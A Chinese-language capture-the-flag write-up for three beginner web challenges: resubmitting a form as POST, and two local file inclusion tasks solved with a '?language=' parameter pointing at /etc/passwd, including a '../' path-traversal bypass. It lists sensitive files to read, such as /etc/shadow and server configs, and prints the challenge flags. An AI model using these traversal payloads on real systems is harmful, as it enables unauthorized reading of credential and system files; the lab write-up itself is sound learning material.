提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
前言
日常记录一下,倒逼自己学点东西。虽然不知道有没有用,但是贵在坚持。
提示:以下是本篇文章正文内容,下面案例供参考
一、post-the-get
描述: A simple form to fill, nothing special right?
翻译:填写一张简单的表格,没有什么特别的吧?
进入页面
页面还有提示:这个表格被打破了,换一种方式
解法一:
第一步:
查看源代码,发现提交包的方式为GET,修改为POST
<form action="/send" method="GET">
改为:
<form action="/send" method="POST">
第二步:
<input type="submit" id="sub" name="sub" value="POST" disabled="">
改为
<input type="submit" id="sub" name="sub" value="POST" >
之后点击POST提交按钮就可以得到flag了
flag:shellmates{7HE_w3B_is_w31RD}
解法二
使用BP抓包
可以看到包为
GET /send?name=1&address=1&sub=POST HTTP/1.1
Host: 82.157.146.43:18066
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://82.157.146.43:18066/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
将GET改为POST,将GET参数改为POST参数
POST /send HTTP/1.1
Host: 82.157.146.43:18066
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://82.157.146.43:18066/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
name=1&address=1&sub=POST
小结
定义和用法
method :可设置或者返回表单 method 属性值。
method 属性制订了如何发送表单数据 (表单数据提交地址在action属性中指定)。
method 属性可以是以下值:
值 | 描述 |
---|---|
get | 在 URL 中添加表单数据: URL?name=value&name=value (默认) |
post | 使用 http post方法提交表单数据 |
disabled :是一个 boolean(布尔) 属性。
如果使用该属性,则会禁用按钮。
被禁用的按钮是无法使用和无法点击的。
可以对 disabled 属性进行设置,使用户在满足某些条件时(比如选中复选框,等等)才能点击按钮。然后,可使用 JavaScript 来删除 disabled 属性,使该按钮变为可用的状态。
二、baby lfi
描述:What about making things a bit harder ?
让事情变得更难一点怎么样?
直接交代了是本地文件包含漏洞(LFI)
解题思路
- 目录:/etc/passwd
- 参数:language
payload
?language=/etc/passwd
hellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}
小结
一般来说文件包含首先考虑是否可以读取敏感文件信息
Linux:
/etc/passwd
/etc/group
/etc/shadow
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
三、baby lfi 2
解题过程
试试同样的payload是过不去的
直接只languages 目录会报错,说非法路径。
?language=./languages/../../../../../../../etc/passwd
shellmates{yOU_M4De_yOUr_waY_7hRough_iT}
小结
“./” 代表的意思是:
./
代表当前文件目录,某一个文件(或者目录)的查找路径是从当前目录“.”下面开始进行查找。
“…” 代表的意思是:
“..”
表示上级目录